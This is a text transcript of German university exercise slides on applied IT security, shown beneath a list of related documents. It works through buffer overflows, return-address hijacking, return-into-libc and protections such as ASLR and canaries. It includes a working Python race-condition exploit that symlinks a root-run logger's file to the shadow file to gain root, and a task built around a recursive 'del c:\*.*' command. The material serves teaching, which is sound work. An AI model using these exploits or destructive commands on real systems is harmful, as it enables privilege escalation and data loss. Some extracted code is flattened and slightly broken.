Angewandte IT-Sicherheit

Ähnliche Dokumente
Das erste Programm soll einen Text zum Bildschirm schicken. Es kann mit jedem beliebigen Texteditor erstellt werden.

Java: Vererbung. Teil 3: super()

Einführung in Javadoc

Programmierkurs Java

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Propädeutikum zur Programmierung

Distributed Computing Group

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Java Kurs für Anfänger Einheit 5 Methoden

Rekursion. Annabelle Klarl. Einführung in die Informatik Programmierung und Softwareentwicklung

Programmieren I. Strategie zum Entwurf von Klassen. Beispiele. Design von Klassen. Dr. Klaus Höppner. Beispiel: Bibliothek

2A Basistechniken: Weitere Aufgaben

Delegatesund Ereignisse

Verteilte Systeme CS5001

Einführung in die Programmierung

Fakultät Angewandte Informatik Lehrprofessur für Informatik

Einführung in die Programmierung für Wirtschaftsinformatik

Javadoc. Programmiermethodik. Eva Zangerle Universität Innsbruck

Programmieren was ist das genau?

Praktikum zu Einführung in die Informatik für LogWiIngs und WiMas Wintersemester 2015/16. Vorbereitende Aufgaben

Grundlagen der Programmierung Prof. H. Mössenböck. 14. Schrittweise Verfeinerung

Der lokale und verteilte Fall

1 Vom Problem zum Programm

Objektbasierte Entwicklung

Programmieren in Java

EndTermTest PROGALGO WS1516 A

FAQ Verwendung. 1. Wie kann ich eine Verbindung zu meinem virtuellen SeeZam-Tresor herstellen?

II. Grundlagen der Programmierung. 9. Datenstrukturen. Daten zusammenfassen. In Java (Forts.): In Java:

Übungsblatt 3: Algorithmen in Java & Grammatiken

Praktikum zu Einführung in die Informatik für LogWiIngs und WiMas Wintersemester 2015/16. Allgemeine Informationen zum Praktikum

Algorithmen und Datenstrukturen

Klausur C++ #1 Jahr: 2001; Dozent: Dipl.Ing. Sorber

Übung Grundlagen der Programmierung. Übung 03: Schleifen. Testplan Testergebnisse

Java Database Connectivity (JDBC) Walther Rathenau Gewerbeschule 1

Inhaltverzeichnis 1 Einführung Zugang zu den Unifr Servern Zugang zu den Druckern Nützliche Links... 6

Sicherheitseinstellungen... 2 Pop-up-Fenster erlauben... 3

Securebox. > Anwenderleitfaden.

Einführung in die Programmierung

Übung - Erstellen von Benutzerkonten in Windows 7

Musterlösungen zur Klausur Informatik 3

Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung: Lösungsvorschlag

Probeklausur Softwareengineering SS 15

Fachgebiet Informationssysteme Prof. Dr.-Ing. N. Fuhr. Programmierung Prof. Dr.-Ing. Nobert Fuhr. Übungsblatt Nr. 6

Einführung in die Informatik Tools

Einfache Arrays. Annabelle Klarl. Einführung in die Informatik Programmierung und Softwareentwicklung

JDBC. Allgemeines ODBC. java.sql. Beispiele

DLLs (dynamic loaded libraries) mit MingW erstellen

Programmiervorkurs SS 2011 Technische Universität Darmstadt Jan Hendrik Burdinski, Felix Kerger

Testklausur 1 zur Vorlesung. Modellierung und Programmierung I. Dr. Monika Meiler Zeit: 60 Minuten

Überblick. Lineares Suchen

Übung - Erstellen von Benutzerkonten in Windows XP

Klausur in Programmieren

2. Semester, 2. Prüfung, Lösung

Test-Driven Design: Ein einfaches Beispiel

Problemstellung. Informatik B - Objektorientierte Programmierung in Java. Vorlesung 24: Reflection 1. IDE und automatische Tests.

Programmentwicklung ohne BlueJ

Übungen zur Vorlesung Einführung in die Informatik Wintersemester 2010/11

AGROPLUS Buchhaltung. Daten-Server und Sicherheitskopie. Version vom b

Objektorientierte Programmierung

Einführung in die objektorientierte Programmierung mit Java. Klausur am 19. Oktober 2005

Lösungsvorschlag zum Übungsblatt 1 zur Vorlesung Informatik II / WS2001/02

Tagesprogramm

Programmierung in C. Grundlagen. Stefan Kallerhoff

Übung Grundlagen der Programmierung. Übung 05: Arrays. Abgabetermin: xx.xx.xxxx. Java-Programm Testplan Testergebnisse

DER WING COMMANDER CD³² GUIDE

Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung: Lösungsvorschlag

1. Zugriff des Autostarts als Dienst auf eine Freigabe im Netz

Java Kurs für Anfänger Einheit 4 Klassen und Objekte

Kontrollstrukturen und Funktionen in C

public class SternchenRechteckGefuellt {

Anleitung für die Teilnahme an den Platzvergaben "Studio II, Studio IV und Studio VI" im Studiengang Bachelor Architektur SS15

Verhindert, dass eine Methode überschrieben wird. public final int holekontostand() {...} public final class Girokonto extends Konto {...

Software Engineering Klassendiagramme Assoziationen

Drei-Schichten-Architektur. Informatik B - Objektorientierte Programmierung in Java. Vorlesung 17: 3-Schichten-Architektur 2

Zählen von Objekten einer bestimmten Klasse

Objektorientierte Programmierung für Anfänger am Beispiel PHP

Pascal-Compiler für den Attiny

Autor: Michael Spahn Version: 1.0 1/10 Vertraulichkeit: öffentlich Status: Final Metaways Infosystems GmbH

Pakete dienen dazu, die Software eines Projektes in größere inhaltlich zusammengehörige Bereiche mit eigenem Namen einzuteilen (siehe Java API).

Übungen zur Softwaretechnik

CodeSaver. Vorwort. Seite 1 von 6

Übung: Verwendung von Java-Threads

Gliederung Grundlagen Schlüsselworte try-catch Fehlerobjekte Fehlerklassen Schlüsselwort finally Schlüsselwort throws selbst erstellte Exceptions

Einführung in die Programmierung

Professionelle Seminare im Bereich MS-Office

Grundlagen der Programmierung Prof. H. Mössenböck. 10. Klassen

Studentische Lösung zum Übungsblatt Nr. 7

Betriebssysteme Hinweise zu Aufgabe 3 Knacken von Passwörtern

TCP/IP Programmierung. C# TimeServer Java6 TimeClient

Vorkurs C++ Programmierung

Algorithmen & Datenstrukturen 1. Klausur

1. Loggen Sie sich mit Ihrem Benutzernamen in den Hosting-Manager (Confixx) auf Ihrer entsprechenden AREA ein. Automatische Wordpress Installation

Fortgeschrittenes Programmieren mit Java. Test Driven Development

Artikel Schnittstelle über CSV

ACDSee Pro 3-Tutorials: Versenden von Bilder an eine FTP-Site

Einrichtung des Cisco VPN Clients (IPSEC) in Windows7

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff

IMAP Backup. Das Programm zum Sichern, Synchronisieren, Rücksichern und ansehen von gesicherten Mails. Hersteller: malu-soft

Compilerbau I Sommersemester 2008

Transkript:

Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28

Aufgabe 1 Betrachten sie folgendes Programm: #include <stdio.h> #include <string.h> int main() { char password[] = "Super Secret Passwd!"; char buf[20]; printf("passwort: "); gets(buf); if(!strncmp(password, buf, 20)){ printf("you have been Authorized...\n"); else { printf("wrong Password\n"); return 0; a) Wie sieht der Stack unmittelbar zu Beginn der main() Methode aus? b) Die Funktion gets() ist anfällig für einen Buffer Overflow. Wie kann ein Angreifer dies ausnutzen? c) Geben sie eine mögliche Eingabe an, mit der eine Authentifikation erreicht werden kann ohne das Passwort zu kennen. Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 2 / 28

password.c #include <stdio.h> #include <string.h> int main() { char password[] = "Super Secret Passwd!"; char buf[20]; printf("passwort: "); gets(buf); if(!strncmp(password, buf, 20)){ printf("you have been Authorized...\n"); else { printf("wrong Password\n"); return 0; Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 3 / 28

Disassembly Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 4 / 28

Stack Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 5 / 28

Overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 6 / 28

Access granted Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 7 / 28

Aufgabe 2 Folgender C-Code kann für einen Standard-Overflow genutzt werden: void example( char * buf ) { char localbuf[32]; strcpy( localbuf, buf ); printf("copied to buffer: %s\n", localbuf ); a) Welche Eingabe ist erforderlich um nach der Ausführung der Funktion an die Adresse 0xEFBEADDE zu springen? b) Wie kann dieser Sprung von einem Angreifer genutzt werden? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 8 / 28

workingoverflow.c #include <stdio.h> #include <string.h> void example( char * buf ) { char localbuf[32]; strcpy( localbuf, buf ); printf("copied to buffer: %s\n", localbuf ); int main(){ char buf [255]; printf("enter Content to be passed into example():"); gets(buf); example(buf); Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 9 / 28

Disassembly Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 10 / 28

Disassembly of example() Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 11 / 28

Stack with normal input Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 12 / 28

Stack with very long input Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 13 / 28

Register state after crash Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 14 / 28

Now think about how the exploit string must look like Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 15 / 28

Passing exploit string to function Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 16 / 28

Stack before overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 17 / 28

Stack after overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 18 / 28

Registers after RET Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 19 / 28

0xDEADBEEF vs 0xEFBEADDE Intel Architektur ist little Endian Adressen die mit 0x01020304 im Speicher abgelegt sind werden als 0x04030201 interpretiert Wie muss also der Exploitstring aussehen? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 20 / 28

Aufgabe 3 a) Das folgende Java Programm ist ein Logging Service, der suid-root läuft. Es trägt an ihn übergebene Parameter in ein Logfile ein. Allerdings enthält er eine Sicherheitslücke, die es dem Angreifer erlaubt in beliebige Dateien zu schreiben. 1 Identifizieren und Beschreiben sie die Sicherheitslücke 2 Wie könnte man sie ausnutzen, um root Rechte zu erlangen? b) Der Hersteller hat in dem Programm nun einige Patches eingebaut, welche die Sicherheitslücke schliessen sollen (siehe Listing 4, SafeLogger.java ) 1 Waren seine Bemühungen erfolgreich? 2 Falls nicht schreiben sie ein Programm, in einer Programmiersprache ihrer Wahl, welches die Sicherheitslücke ausnutzt um root Rechte zu erlangen 3 Was müsste man an dem Programm ändern um diese Sicherheitslücke zu beseitigen? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 21 / 28

Logger.java import java.io.*; public class Logger{ public static void main(string[] args) throws Exception{ if(args.length!=1){ System.out.println("usage: \"java Logger <text>\""); System.exit(0); File tmp = new File("message.log"); if(tmp.isfile() && tmp.canwrite() && tmp.exists()){ System.out.println("Logfile: " + tmp.tostring()); else{ System.out.println("Logfile does not exist...creating..."); tmp.createnewfile(); System.out.println("\nLogging: " + args[0]); FileWriter out = new FileWriter(tmp); out.append(args[0]); out.close(); Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 22 / 28

SafeLogger.java import java.io.*; public class SafeLogger{ public static void main(string[] args) throws Exception{ if(args.length!=1){ System.out.println("usage: \"java Logger <text>\""); System.exit(0); File tmp = new File("message.log"); if(tmp.isfile() && tmp.canwrite() && tmp.exists() &&!islink(tmp)){ System.out.println("Logfile: " + tmp.tostring()); else{ if(tmp.exists() && islink(tmp)){ tmp.delete(); System.out.println("Symlink detected...deleting..."); System.out.println("Logfile does not exist...creating..."); tmp.createnewfile(); System.out.println("\nLogging: " + args[0]); FileWriter out = new FileWriter(tmp); out.append(args[0]); out.close(); public static boolean islink(file file) throws Exception{ String cnnpath = file.getcanonicalpath(); String abspath = file.getabsolutepath(); return!abspath.equals(cnnpath); Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 23 / 28

Race Condition Exploit #!/usr/bin/env python import os import time for i in range(0, 500): # If file exists, get rid of it (deletes any symlink we placed...) filename =./message.log if os.path.exists(filename): os.remove(filename) # Now lets create an empty file... file = open(filename, "w") file.close() os.system("nice -n 19 java Logger \"root::11636:0:::::\" &" ) time.sleep(0.05) # while its running lets snatch its tempfile and replace with link to shadow if os.path.exists(filename): os.remove(filename) os.system("ln -s./shadow " + filename) time.sleep(0.05) # thats long enough, lets kill it... os.system("killall java") Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 24 / 28

Aufgabe 4 Es gibt verschiedenste Ansätze die Ausnutzung von Buffer Overflows zu verhindern. a) Erläutern sie folgende Techniken: i) ASLR ii) Canaries iii) NX-Bit iv) Verwendung von Funktionen mit Längenprüfung b) Welche dieser Methoden halten sie für effektiv und warum? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 25 / 28

Aufgabe 5 Ein Trick um den Schutz des Stacks durch das NX-Bit zu umgehen ist die Return into libc Technik. Nehmen Sie an, dass die Funktion WinExec( char *commandline, long flags); an Adresse 0x7F3A2C2A liegt. Betrachten Sie den folgenden Code: void example( char * buf, int len ) { char localbuf[ 255 ]; memcpy( localbuf, buf, len ); printf( localbuf ); Nehmen Sie an, dass zum Zeitpunkt des Aufrufs von example das ESP-Register auf Adresse 0x123456C0 zeigt. Nehmen Sie weiter an, dass der Angreifer sowohl len als auch buf kontrolliert. Konstruieren Sie einen String in buf, der WinExec( del c:\(*.*) /s /q, 1) aufruft. Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 26 / 28

Return to Libc Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 27 / 28

The End Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 28 / 28

The End Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 28 / 28